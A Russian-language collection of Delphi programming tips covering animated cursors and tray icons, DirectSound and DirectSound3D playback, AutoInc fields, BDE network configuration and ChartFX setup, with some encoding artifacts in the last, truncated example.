Использование анимированных курсоров 2.
| Драйвер мыши (MOUSE.DRV) не найден, использовать другой драйвер (RAT.DRV)? |
Ниже пример формы, использующей анимированный курсор:
procedure TForm1.Button1Click(Sender: TObject);
var
h: THandle;
begin
h := LoadImage(0,
'C:\TheWall\Magic.ani',
IMAGE_CURSOR,
0,
0,
LR_DEFAULTSIZE or
LR_LOADFROMFILE
);
if h = 0 then
ShowMessage('Cursor not loaded')
else
begin
Screen.Cursors[1] := h;
Form1.Cursor := 1;
end;
end;
|
Компонент на основе TImageList позволяет использовать в приложении анимированные иконки.
Автор: Вадим Исаенко WEB-сайт: http://v-isa.narod.ru
unit AnimIcon;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, ShellApi, TypInfo;
const
WM_FROMTRAYICON = WM_USER + 59;
type
TIconPlace = (ipAppIcon, ipAppMainFormIcon, ipFormIcon, ipImageCtrl,
ipSysTray);
TOnTimerEventOrder = (First, Second);
TIconPlaceSet = set of TIconPlace;
TTimerEvent = procedure(Sender: TObject) of object;
TAnimIcon = class(TImageList)
private
{ Private declarations }
FIconPlaceSet: TIconPlaceSet;
FEnabled: Boolean;
FInterval: Cardinal;
FNumIco: Integer;
FOnTimer: TTimerEvent;
FImage: TImage;
FAuthor: string;
FTip: string;
FActionForIconOnSysTray: Byte;
FOnTimerEventOrder: TOnTimerEventOrder;
FhWnd: hWnd;
procedure PlaceIcon;
protected
{ Protected declarations }
procedure Loaded; override;
procedure SetEnabled(Value: Boolean);
function GetEnabled: Boolean;
procedure SetInterval(Value: Cardinal);
function GetInterval: Cardinal;
procedure OnAnimIconTimer(Sender: TObject);
procedure SetImage(Value: TImage);
function GetImage: TImage;
procedure SetAuthor(Value: string);
public
{ Public declarations }
published
{ Published declarations }
constructor Create(AOwner: Tcomponent); override; //Конструктор
destructor Destroy; override;
property IconPlace: TIconPlaceSet read FIconPlaceSet write FIconPlaceSet;
property Enabled: Boolean read GetEnabled write SetEnabled;
property Interval: Cardinal read GetInterval write SetInterval;
property OnTimer: TTimerEvent read FOnTimer write FOnTimer;
property ImageCtrl: TImage read GetImage write SetImage;
property Author: string read FAuthor write SetAuthor;
property SysTrayTip: string read FTip write FTip;
property OnTimerEventOrder: TOnTimerEventOrder read FOnTimerEventOrder write
FOnTimerEventOrder;
end;
var
Timer: TTimer;
procedure Register;
function SysTrayIcon(hWindow: THandle; ID: Cardinal; ICON: hicon;
CallbackMessage: Cardinal; Tip: string; Action: Byte): Boolean;
implementation
procedure Register;
begin
RegisterComponents('MyComponents', [TAnimIcon]);
end;
function SysTrayIcon(hWindow: THandle; ID: Cardinal; Icon: hicon;
CallbackMessage: Cardinal; Tip: string; Action: Byte): Boolean;
var
NID: TNotifyIconData;
begin
FillChar(NID, SizeOf(TNotifyIconData), 0);
with NID do
begin
cbSize := SizeOf(TNotifyIconData);
Wnd := hWindow;
uID := ID;
uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
uCallbackMessage := CallbackMessage;
hIcon := Icon;
if Length(Tip) > 63 then
SetLength(Tip, 63);
StrPCopy(szTip, Tip);
end;
case Action of
1: Result := Shell_NotifyIcon(NIM_ADD, @NID);
2: Result := Shell_NotifyIcon(NIM_MODIFY, @NID);
3: Result := Shell_NotifyIcon(NIM_DELETE, @NID);
else
Result := False;
end;
end;
procedure TAnimIcon.PlaceIcon;
var
Icon: TIcon;
CallbackMessage: Cardinal;
begin
Inc(FNumIco);
if FNumIco > Count then
FNumIco := 1;
if ipAppIcon in FIconPlaceSet then
begin
GetIcon(FNumIco - 1, Application.Icon);
Application.ProcessMessages;
end;
if ipFormIcon in FIconPlaceSet then
begin
GetIcon(FNumIco - 1, TForm(Owner).Icon);
Application.ProcessMessages;
end;
if ipAppMainFormIcon in FIconPlaceSet then
begin
if Assigned(Application.MainForm) then
GetIcon(FNumIco - 1, Application.MainForm.Icon);
Application.ProcessMessages;
end;
if ipImageCtrl in FIconPlaceSet then
begin
if FImage <> nil then
GetIcon(FNumIco - 1, FImage.Picture.Icon);
Application.ProcessMessages;
end;
if ipSysTray in FIconPlaceSet then
begin
Icon := TIcon.Create;
GetIcon(FNumIco - 1, Icon);
CallbackMessage := WM_FROMTRAYICON;
SysTrayIcon(FhWnd, 0, Icon.Handle, CallbackMessage, FTip,
FActionForIconOnSysTray);
Application.ProcessMessages;
if FActionForIconOnSysTray = 1 then
FActionForIconOnSysTray := 2;
end;
end;
constructor TAnimIcon.Create(AOwner: TComponent);
begin
inherited create(AOwner);
FAuthor := 'V-Isa aka Inter';
FNumIco := 0;
Timer := TTimer.Create(Self);
Application.ProcessMessages;
SetEnabled(False);
SetInterval(1000);
Timer.OnTimer := OnAnimIconTimer;
FActionForIconOnSysTray := 0;
FOnTimerEventOrder := First;
if csDesigning in ComponentState then
FTip := (Owner as TForm).Caption;
end;
destructor TAnimIcon.Destroy;
var
Icon: TIcon;
CallbackMessage: Cardinal;
begin
if ipSysTray in FIconPlaceSet then
begin
Icon := TIcon.Create;
CallbackMessage := WM_FROMTRAYICON;
SysTrayIcon(FhWnd, 0, Icon.Handle, CallbackMessage, FTip, 3);
Application.ProcessMessages;
end;
FNumIco := 0;
FEnabled := False;
Timer.Enabled := FEnabled;
Application.ProcessMessages;
inherited destroy;
end;
procedure TAnimIcon.OnAnimIconTimer(Sender: TObject);
begin
if Assigned(FOnTimer) and (FOnTimerEventOrder = First) then
FOnTimer(Self);
Application.ProcessMessages;
if Count > 0 then
begin
PlaceIcon;
end;
Application.ProcessMessages;
if Assigned(FOnTimer) and (FOnTimerEventOrder = Second) then
FOnTimer(Self);
Application.ProcessMessages;
end;
procedure TAnimIcon.SetEnabled(Value: Boolean);
begin
if (Value = True) and (csDesigning in ComponentState) then
begin
Value := False;
FNumIco := 0;
FEnabled := Value;
Timer.Enabled := FEnabled;
Application.ProcessMessages;
ShowMessage('Изменение данного свойства возможно только' +
#13'во время выполнения программы!!!');
Exit;
end;
if (Value = True) and (Count > 0) then
begin
FActionForIconOnSysTray := 1;
PlaceIcon;
end;
if Value = False then
begin
FActionForIconOnSysTray := 3;
PlaceIcon;
end;
Application.ProcessMessages;
if Value = False then
FNumIco := 0;
FEnabled := Value;
Timer.Enabled := FEnabled;
Application.ProcessMessages;
end;
function TAnimIcon.GetEnabled: Boolean;
begin
GetEnabled := FEnabled;
end;
procedure TAnimIcon.SetInterval(Value: Cardinal);
begin
FInterval := Value;
Timer.Interval := FInterval;
Application.ProcessMessages;
end;
function TAnimIcon.GetInterval: Cardinal;
begin
GetInterval := FInterval;
end;
procedure TAnimIcon.SetImage(Value: TImage);
begin
FImage := Value;
end;
function TAnimIcon.GetImage: TImage;
begin
GetImage := FImage;
end;
procedure TAnimIcon.SetAuthor(Value: string);
begin
FAuthor := 'V-Isa aka Inter';
end;
procedure TAnimIcon.Loaded;
begin
inherited Loaded;
FhWnd := (Owner as TForm).Handle;
end;
end.
Скачать весь проект
Как использовать в своей программе API DirectSound и DirectSound3D.
| Юзеры с компьютером на "Вы", программисты - на "Ты", а хакеры - на "Ты, козел..." |
Представляю вашему вниманию рабочий пример использования DirectSound на Delphi + несколько полезных процедур. В этом примере создается один первичный SoundBuffer и 2 статических, вторичных; в них загружаются 2 WAV файла. Первичный буфер создается процедурой AppCreateWritePrimaryBuffer, а любой вторичный - AppCreateWritePrimaryBuffer. Так как вторичный буфер связан с WAV файлом, то при создании буфера нужно определить его параметры в соответствии со звуковым файлом, эти характеристики (Samples, Bits, IsStereo) задаются в виде параметров процедуры. Time - время WАV'файл в секундах (округление в сторону увеличения). При нажатии на кнопку происходит микширование из вторичных буферов в первичный. AppWriteDataToBuffer позволяет записать в буфер PCM сигнал. Процедура CopyWAVToBuffer открывает WAV файл, отделяет заголовок, читает чанк 'data' и копирует его в буфер (при этом сначала считывается размер данных, так как в некоторых WAV файлах существует текстовый довесок, и если его не убрать, в динамиках возможен треск).
Пример 1-ый
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, DSound, MMSystem, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
DirectSound : IDirectSound;
DirectSoundBuffer : IDirectSoundBuffer;
SecondarySoundBuffer : array[0..1] of IDirectSoundBuffer;
procedure AppCreateWritePrimaryBuffer;
procedure AppCreateWriteSecondaryBuffer(var Buffer: IDirectSoundBuffer;
SamplesPerSec: Integer; Bits: Word; isStereo:Boolean; Time: Integer);
procedure AppWriteDataToBuffer(Buffer: IDirectSoundBuffer;
OffSet: DWord; var SoundData; SoundBytes: DWord);
procedure CopyWAVToBuffer(name: PChar; var Buffer: IDirectSoundBuffer);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
if DirectSoundCreate(nil, DirectSound, nil) <> DS_OK then
raise Exception.Create('Failed to create IDirectSound object');
AppCreateWritePrimaryBuffer;
AppCreateWriteSecondaryBuffer(SecondarySoundBuffer[0], 22050,8,False,10);
AppCreateWriteSecondaryBuffer(SecondarySoundBuffer[1], 22050,16,True,1);
end;
procedure TForm1.FormDestroy(Sender: TObject);
var
i: ShortInt;
begin
if Assigned(DirectSoundBuffer) then
DirectSoundBuffer.Release;
for i:=0 to 1 do
if Assigned(SecondarySoundBuffer[i]) then
SecondarySoundBuffer[i].Release;
if Assigned(DirectSound) then
DirectSound.Release;
end;
procedure TForm1.AppWriteDataToBuffer;
var
AudioPtr1, AudioPtr2 : Pointer;
AudioBytes1, AudioBytes2 : DWord;
h : HResult;
Temp : Pointer;
begin
H:=Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1, AudioPtr2, AudioBytes2, 0);
if H = DSERR_BUFFERLOST then
begin
Buffer.Restore;
if Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1, AudioPtr2, AudioBytes2, 0) <> DS_OK then
raise Exception.Create('Unable to Lock Sound Buffer');
end
else
if H <> DS_OK then
raise Exception.Create('Unable to Lock Sound Buffer');
Temp := @SoundData;
Move(Temp^, AudioPtr1^, AudioBytes1);
if AudioPtr2 <> nil then
begin
Temp := @SoundData; Inc(Integer(Temp), AudioBytes1);
Move(Temp^, AudioPtr2^, AudioBytes2);
end;
if Buffer.UnLock(AudioPtr1, AudioBytes1,AudioPtr2, AudioBytes2) <> DS_OK then
raise Exception.Create('Unable to UnLock Sound Buffer');
end;
procedure TForm1.AppCreateWritePrimaryBuffer;
var
BufferDesc: DSBUFFERDESC;
Caps: DSBCaps;
PCM: TWaveFormatEx;
begin
FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
FillChar(PCM, SizeOf(TWaveFormatEx),0);
with BufferDesc do
begin
PCM.wFormatTag:=WAVE_FORMAT_PCM;
PCM.nChannels:=2;
PCM.nSamplesPerSec:=22050;
PCM.nBlockAlign:=4;
PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
PCM.wBitsPerSample:=16;
PCM.cbSize:=0;
dwSize:=SizeOf(DSBUFFERDESC);
dwFlags:=DSBCAPS_PRIMARYBUFFER;
dwBufferBytes:=0;
lpwfxFormat:=nil;
end;
if DirectSound.SetCooperativeLevel(Handle,DSSCL_WRITEPRIMARY) <> DS_OK then
raise Exception.Create('Unable to set Coopeative Level');
if DirectSound.CreateSoundBuffer(BufferDesc,DirectSoundBuffer,nil) <> DS_OK then
raise Exception.Create('Create Sound Buffer failed');
if DirectSoundBuffer.SetFormat(PCM) <> DS_OK then
raise Exception.Create('Unable to Set Format ');
if DirectSound.SetCooperativeLevel(Handle,DSSCL_NORMAL) <> DS_OK then
raise Exception.Create('Unable to set Coopeative Level');
end;
procedure TForm1.AppCreateWriteSecondaryBuffer;
var
BufferDesc: DSBUFFERDESC;
Caps: DSBCaps;
PCM: TWaveFormatEx;
begin
FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
FillChar(PCM, SizeOf(TWaveFormatEx),0);
with BufferDesc do
begin
PCM.wFormatTag:=WAVE_FORMAT_PCM;
if isStereo then
PCM.nChannels:=2
else
PCM.nChannels:=1;
PCM.nSamplesPerSec:=SamplesPerSec;
PCM.nBlockAlign:=(Bits div 8)*PCM.nChannels;
PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
PCM.wBitsPerSample:=Bits;
PCM.cbSize:=0;
dwSize:=SizeOf(DSBUFFERDESC);
dwFlags:=DSBCAPS_STATIC;
dwBufferBytes:=Time*PCM.nAvgBytesPerSec;
lpwfxFormat:=@PCM;
end;
if DirectSound.CreateSoundBuffer(BufferDesc,Buffer,nil) <> DS_OK then
raise Exception.Create('Create Sound Buffer failed');
end;
procedure TForm1.CopyWAVToBuffer;
var
Data : PChar;
FName : TFileStream;
DataSize : DWord;
Chunk : string[4];
Pos : Integer;
begin
FName:=TFileStream.Create(name,fmOpenRead);
Pos:=24;
SetLength(Chunk,4);
repeat
FName.Seek(Pos, soFromBeginning);
FName.read(Chunk[1],4);
Inc(Pos);
until
Chunk = 'data';
FName.Seek(Pos+3, soFromBeginning);
FName.read(DataSize, SizeOf(DWord));
GetMem(Data,DataSize);
FName.read(Data^, DataSize);
FName.Free;
AppWriteDataToBuffer(Buffer,0,Data^,DataSize);
FreeMem(Data,DataSize);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
CopyWAVToBuffer('1.wav',SecondarySoundBuffer[0]);
CopyWAVToBuffer('flip.wav',SecondarySoundBuffer[1]);
if SecondarySoundBuffer[0].Play(0,0,0) <> DS_OK then
ShowMessage('Can''t play the Sound');
if SecondarySoundBuffer[1].Play(0,0,0) <> DS_OK then
ShowMessage('Can''t play the Sound');
end;
end.
|
Пример 2-ой
Представляю вашему вниманию очередной пример работы с DirectSound на Delphi. В этом примере показан принцип работы с 3D буфером. Итак, процедуры AppCreateWritePrimaryBuffer, AppWriteDataToBuffer, CopyWAVToBuffer я оставил без изменения (см. письма с до этого). Процедура AppCreateWriteSecondary3DBuffer является полным аналогом процедуры AppCreateWriteSecondaryBuffer, за исключением флага DSBCAPS_CTRL3D, который указывает на то, что со статическим вторичным буфером будет связан еще один буфер - SecondarySound3DBuffer. Чтобы его инициализировать, а также установить некоторые начальные значения (положение в пространстве, скорость и .т.д.) вызывается процедура AppSetSecondary3DBuffer, в качестве параметров которой передаются сам SecondarySoundBuffer и связанный с ним SecondarySound3DBuffer. В этой процедуре SecondarySound3DBuffer инициализируется с помощью метода QueryInterface c соответствующим флагом. Кроме того, здесь же устанавливается положение источника звука в пространстве: SetPosition(Pos,1,1,0). X,Y,Z Таким образом в начальный момент времени источник находится на высоте 1 м (ось Y направлена вертикально вверх, а ось Z - "в экран"). Если смотреть сверху :
^ Z | | | O----------------> X
Точка O (фактически вы) имеет координаты (0,0), источник звука А(-25,1). Разумеется понятие "метр" весьма условно. При нажатии на кнопку в буфер SecondarySoundBuffer загружается звук 'xhe4.wav'. Это звук работающего винта вертолета, его длина (звука) ровно 3.99 с (а размер буфера ровно 4 с). Далее происходит микширование из вторичного буфера в первичный с флагом DSBPLAY_LOOPING, что позволяет сделать многократно повторяющийся звук; время в 0.01 с ухом практически не улавливается и получается непрерывный звук летящего вертолета. После этого запускется таймер (поле INTERVAL в Инспекторе Оъектов установлено в 1). Разумеется вам совсем необязательно делать именно так, это просто пример. В процедуре Timer1Timer просто меняется координата X с шагом 0.1. В итоге получаем летящий вертолет слева направо. Заодно можете проверить, правильно ли у вас расположены колонки.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, DSound, MMSystem, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
DirectSound : IDirectSound;
DirectSoundBuffer : IDirectSoundBuffer;
SecondarySoundBuffer : IDirectSoundBuffer;
SecondarySound3DBuffer : IDirectSound3DBuffer;
procedure AppCreateWritePrimaryBuffer;
procedure AppCreateWriteSecondary3DBuffer(var Buffer: IDirectSoundBuffer;
SamplesPerSec: Integer;
Bits: Word;
isStereo:Boolean;
Time: Integer);
procedure AppSetSecondary3DBuffer(var Buffer: IDirectSoundBuffer;
var _3DBuffer: IDirectSound3DBuffer);
procedure AppWriteDataToBuffer(Buffer: IDirectSoundBuffer;
OffSet: DWord; var SoundData;
SoundBytes: DWord);
procedure CopyWAVToBuffer(name: PChar; var Buffer: IDirectSoundBuffer);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
var
Result: HResult;
begin
if DirectSoundCreate(nil, DirectSound, nil) <> DS_OK then
raise Exception.Create('Failed to create IDirectSound object');
AppCreateWritePrimaryBuffer;
AppCreateWriteSecondary3DBuffer(SecondarySoundBuffer, 22050,8,False,4);
AppSetSecondary3DBuffer(SecondarySoundBuffer, SecondarySound3DBuffer);
Timer1.Enabled:=False;
end;
procedure TForm1.FormDestroy(Sender: TObject);
var
i: ShortInt;
begin
if Assigned(DirectSoundBuffer) then
DirectSoundBuffer.Release;
if Assigned(SecondarySound3DBuffer) then
SecondarySound3DBuffer.Release;
if Assigned(SecondarySoundBuffer) then
SecondarySoundBuffer.Release;
if Assigned(DirectSound) then
DirectSound.Release;
end;
procedure TForm1.AppCreateWritePrimaryBuffer;
var
BufferDesc: DSBUFFERDESC;
Caps: DSBCaps;
PCM: TWaveFormatEx;
begin
FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
FillChar(PCM, SizeOf(TWaveFormatEx),0);
with BufferDesc do
begin
PCM.wFormatTag:=WAVE_FORMAT_PCM;
PCM.nChannels:=2;
PCM.nSamplesPerSec:=22050;
PCM.nBlockAlign:=4;
PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
PCM.wBitsPerSample:=16;
PCM.cbSize:=0;
dwSize:=SizeOf(DSBUFFERDESC);
dwFlags:=DSBCAPS_PRIMARYBUFFER;
dwBufferBytes:=0;
lpwfxFormat:=nil;
end;
if DirectSound.SetCooperativeLevel(Handle,DSSCL_WRITEPRIMARY) <> DS_OK then
raise Exception.Create('Unable to set Cooperative Level');
if DirectSound.CreateSoundBuffer(BufferDesc,DirectSoundBuffer,nil) <> DS_OK then
raise Exception.Create('Create Sound Buffer failed');
if DirectSoundBuffer.SetFormat(PCM) <> DS_OK then
raise Exception.Create('Unable to Set Format ');
if DirectSound.SetCooperativeLevel(Handle,DSSCL_NORMAL) <> DS_OK then
raise Exception.Create('Unable to set Cooperative Level');
end;
procedure TForm1.AppCreateWriteSecondary3DBuffer;
var
BufferDesc: DSBUFFERDESC;
Caps: DSBCaps;
PCM: TWaveFormatEx;
begin
FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
FillChar(PCM, SizeOf(TWaveFormatEx),0);
with BufferDesc do
begin
PCM.wFormatTag:=WAVE_FORMAT_PCM;
if isStereo then
PCM.nChannels:=2
else
PCM.nChannels:=1;
PCM.nSamplesPerSec:=SamplesPerSec;
PCM.nBlockAlign:=(Bits div 8)*PCM.nChannels;
PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
PCM.wBitsPerSample:=Bits;
PCM.cbSize:=0;
dwSize:=SizeOf(DSBUFFERDESC);
dwFlags:=DSBCAPS_STATIC or DSBCAPS_CTRL3D;
dwBufferBytes:=Time*PCM.nAvgBytesPerSec;
lpwfxFormat:=@PCM;
end;
if DirectSound.CreateSoundBuffer(BufferDesc, Buffer, nil) <> DS_OK then
raise Exception.Create('Create Sound Buffer failed');
end;
procedure TForm1.AppWriteDataToBuffer;
var
AudioPtr1, AudioPtr2 : Pointer;
AudioBytes1, AudioBytes2 : DWord;
h : HResult;
Temp : Pointer;
begin
H:=Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1,
AudioPtr2, AudioBytes2, 0);
if H = DSERR_BUFFERLOST then
begin
Buffer.Restore;
if Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1, AudioPtr2, AudioBytes2, 0) <> DS_OK then
raise Exception.Create('Unable to Lock Sound Buffer');
end
else
if H <> DS_OK then
raise Exception.Create('Unable to Lock Sound Buffer');
Temp:=@SoundData;
Move(Temp^, AudioPtr1^, AudioBytes1);
if AudioPtr2 <> nil then
begin
Temp:=@SoundData; Inc(Integer(Temp), AudioBytes1);
Move(Temp^, AudioPtr2^, AudioBytes2);
end;
if Buffer.UnLock(AudioPtr1, AudioBytes1, AudioPtr2, AudioBytes2) <> DS_OK then
raise Exception.Create('Unable to UnLock Sound Buffer');
end;
procedure TForm1.CopyWAVToBuffer;
var
Data : PChar;
FName : TFileStream;
DataSize : DWord;
Chunk : string[4];
Pos : Integer;
begin
FName:=TFileStream.Create(name,fmOpenRead);
Pos:=24;
SetLength(Chunk,4);
repeat
FName.Seek(Pos, soFromBeginning);
FName.read(Chunk[1],4);
Inc(Pos);
until
Chunk = 'data';
FName.Seek(Pos+3, soFromBeginning);
FName.read(DataSize, SizeOf(DWord));
GetMem(Data,DataSize);
FName.read(Data^, DataSize);
FName.Free;
AppWriteDataToBuffer(Buffer,0,Data^,DataSize);
FreeMem(Data,DataSize);
end;
var
Pos: Single = -25;
procedure TForm1.AppSetSecondary3DBuffer;
begin
if Buffer.QueryInterface(IID_IDirectSound3DBuffer, _3DBuffer) <> DS_OK then
raise Exception.Create('Failed to create IDirectSound3D object');
if _3DBuffer.SetPosition(Pos,1,1,0) <> DS_OK then
raise Exception.Create('Failed to set IDirectSound3D Position');
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
CopyWAVToBuffer('xhe4.wav',SecondarySoundBuffer);
if SecondarySoundBuffer.Play(0,0,DSBPLAY_LOOPING) <> DS_OK then
ShowMessage('Can''t play the Sound');
Timer1.Enabled:=True;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
SecondarySound3DBuffer.SetPosition(Pos,1,1,0);
Pos:=Pos + 0.1;
end;
end.
|
Работа с автоинкрементальными (AutoInc) полями.
Работа с автоинкрементальным типом поля (Auto-increment, поле с автоприращением) В приложениях Delphi, при использовании таблиц, содержащих автоинкрементальные поля или поля, автоматически увеличивающие каким-либо способом, неизвестным приложению, свое значение, могут наблюдаться проблемы. Таблицы Paradox, InterBase, Sybase и Informix имеют средства автоматической вставки и обновления значений полей, без вмешательства сервисов и конечных приложений. Тем не менее, не каждая операция с таблицой поддерживается таким механизмом. Данный документ призван продемонстрировать основные методы работы с такими типами полей в таблицах Paradox 5.0, Informix 5.x, MS/Sybase SQL Server 4.x, InterBase 4.0 и Local InterBase. У каждого типа таблицы за кулисами работает собственный механизм. Таблицы Paradox поддерживают автоинкрементальный (Autoincrement) тип поля. Когда к таким таблицам добавляются новые записи, Borland Database Engine определяет максимальное текущее значение в данной колонке, прибавляет единицу, и обновляет новую строку с новым значением. Для таблиц Informix данное поведение предусматривается специфическим типом Informix-поля, названного Serial. Колонки Serial отличаются от автоприращиваемых (Autoincrement) полей Paradox тем, что в таблицах Informix значения этого типа полей могут быть изменены, тогда как в таблицах Paradox они предназначены только для чтения. Таблицы InterBase и MS/Sybase SQL Server не имеют поддерживающего данную характеристику специального типа поля, но для выполнения той же задачи можно воспользоваться триггерами. Триггеры являются специализированными процедурами, которые находятся на сервере баз данных и автоматически выполняются в ответ на какое-либо событие, например, добавление в таблицу, обновление и удаление. Использование таблиц со связанными триггерами может быть особенно проблематичным, поскольку триггеры способны делать намного больше функций, чем просто увеличивать значения приращиваемой колонки. Три функциональные области, которые могут влиять на данный тип поля в случае простой вставки, batchmoves и привязки (Linking) таблицы. Обработка Update и/или Append BatchMoves Таблицы Paradox Поскольку автоинкрементальный тип поля является типом только для чтения, то попытка вызвать операцию batchmove с данной колонкой в целевой таблице может привести к ошибке. Для того, чтобы обойти это, свойство компонента TBatchMove Mappings должно быть установлено так, чтобы поля исходной таблицы соответствовали полям целевой таблицы, за исключением ее автоинкрементальных полей. Таблицы Informix Групповое перемещение строк в таблицу Informix с колонками, имеющими тип Serial, ошибки не вызовет. Тем не менее, должны вас предупредить о возможных проблемах, поскольку Serial-колонки имеют возможность обновления и часто используются в качестве первичного ключа. Таблицы InterBase Таблицы MS/Sybase SQL Server Триггеры в таблицах InterBase и SQL Server могут отследить любые неверные изменения, сделанные в таблице, но это всецело зависит от установок самого триггера. Здесь также вас необходимо предупредить о возможных проблемах, поскольку обновляемые триггером колонки могут быть использованы в качестве первичного ключа. Привязки таблиц посредством MasterSource & MasterFields Таблицы Paradox Таблицы Informix Если свойства MasterFields и MasterSource используются для привязки таблиц с отношениями мастер-деталь и одно из полей в "деталь"-таблице является автоинкрементальным или Serial-полем, то соответствующее поле в "мастер"-таблице должно иметь тип Long Integer или быть Serial-полем. Если "мастер"-таблица не является таблицей Paradox, то ключевое поле "мастер"-таблицы может быть полем любого целого типа, которого она поддерживает. Таблицы InterBase Таблицы MS/Sybase SQL Server Привязка с использованием данного типа таблиц не вызывает проблем, если пользоваться полями, изменяемые триггером. Единственное требование заключается в сопоставлении необходимых типов колонок обоих таблиц. Простая вставка/обновление (Inserts/Updates) Таблицы ParadoxПоскольку автоинкрементальные поля Paradox имеют аттрибут только для чтения, они обычно не предназначены для обновления и вставки новых записей. Следовательно, свойство Required для field-компонентов, базирующихся на автоинкрементальных полях, должны всегда быть установлены в False. Это может быть выполнено из Delphi с помощью Fields Editor определением field-компонентов в режиме разработки) двойной щелчок на компоненте TQuery или TTable), или во время работы программы с помощью следующего кода:
Table1.Fields[0].Required := False; |
Или.
Table1.FieldByName('Fieldname').Required := False;
|
Наконец, если условие 1, приведенное выше, невозможно, но возможно наступление событий 2a, 2b или 2c, то необходимо создать обработчик события AfterPost компонента TTable как показано ниже:
procedure TForm1.Table1AfterPost(DataSet: TDataset); begin Table1.Refresh; end; |
Если выполнение условий 2a, 2b или 2c невозможно, то таблица могла бы быть обновлена без элементов управления Delphi для работы с базами данных. Это может быть выполенено с помощью компонента TQuery, ссылающегося на ту же самую таблицу. После того, как будет послан запрос на обновление, любые TTable-компоненты, использующие ту же самую таблицу, должны быть обновлены (Refreshed).
Использование BDE в сети.
1) Может ли мое приложение иметь доступ к файлам, расположенным на сетевых дисках? Да. 2) Когда я попытался это сделать, программа выдала сообщение об ошибке "Not initialized for accessing network files" (не инициализировано для доступа к сетевым файлам). Вероятно вам необходимо задать правильный путь к каталогу в поле 'NET DIR' файла IDAPI.CFG. Директория должна быть одна и быть доступна всем пользователям приложения с применением одинаковых подключенных сетевых дисков. (т.е.: если NET DIR указывает на F:\PUBLIC\NETDIR, пользователи с подключенным сетевым диском и имеющим путь G:\NETDIR доступа не получат). 3) Возможно ли запустить приложение, относящееся к описываемой категории, с сетевого диска без установленного на локальной машине BDE (за исключением возможных ссылок в локальном файле WIN.INI на копии элементов программы BDE/IDAPI, расположенных на сетевом диске)?Да. Установите BDE в сети и затем добавьте следующие секции в файл WIN.INI каждой рабочей станции:
[IDAPI] CONFIGFILE01=F:\IDAPI\IDAPI.CFG DLLPATH=F:\IDAPI [Borland Language Drivers] LDPath=F:\IDAPI\LANGDRV...пути должны отражать текущее месторасположение каталога IDAPI. 4) Для установки "NET DIR" мне нужно запустить BDECFG на каждой рабочей станции или просто сделать это на "сервере"? C помощью утилиты BDECFG отредактируйте файл IDAPI.CFG и сохраните его в сетевом каталоге IDAPI. Следовательно, вам необходимо проделать данную операцию всего-лишь один раз. 5) Если мне нужно сделать это только на сервере, то как все рабочие станции узнают о месторасположении сетевых файлов ("NET DIR")?
Рабочая станция открывает файл IDAPI.CFG из каталога, указанного в WIN.INI, и уже оттуда читает настройки NET DIR.
Использование ChartFX.
| В Windows 2005, рядом с пунктом "Выполнить...", появился пункт "Выполнить недопустимую операцию" |
Это код, который я использую для установки chartfx.
chart1.Opendata[cod_values]:=makelong(no_of_series,no_of_classes);
{установка последовательных значений}
chart1.closedata[cod_values]:=0;
|
unit TstChart;
interface
uses = 20
WinTypes, WinProcs, Classes, Graphics, Forms, Controls, Menus,
Dialogs, StdCtrls, Buttons, ExtCtrls, Tabs,
ChartFX, {Похоже, действительно необходимо включить этот модуль
в список, чтобы иметь доступ к константам, например к COD_VALUES}
VBXCtrl, Chart2fx;
type
TF_Chart = 3 D class(TForm)
SpeedPanel: TPanel;
ExitBtn: TSpeedButton;
NB: TNotebook;
TB: TTabSet;
Chart1: TChartFX;
Chart2: TChartFX;
procedure ExitItemClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure TBClick(Sender: TObject);
procedure FormResize(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure Build1(Ch: TChartFX);
procedure Build2(Ch: TChartFX);
end;
var
F_Chart: TF_Chart;
implementation
{$R *.DFM}
procedure TF_Chart.ExitItemClick(Sender: TObject);
begin
Close;
end;
procedure TF_Chart.FormCreate(Sender: TObject);
begin
TB.Tabs := 3 D NB.Pages;
NB.PageIndex := 3 D 0;
Build1(Chart2);
Build2(Chart2); {добавляем значения для Chart2: length... и т.д.}
end;
procedure TF_Chart.TBClick(Sender: TObject);
begin
NB.PageIndex := 3 D TB.TabIndex;
end;
procedure TF_Chart.Build1(Ch: TChartFX);
begin
{Эта процедура изменяет свойства, которые могут устанавливаться
во время разработки или временя выполнения. В коментариях подробно
указано чем занимается метод Design}
with Ch do
begin
Adm[CSA_GAP] := 3 D 25.0;
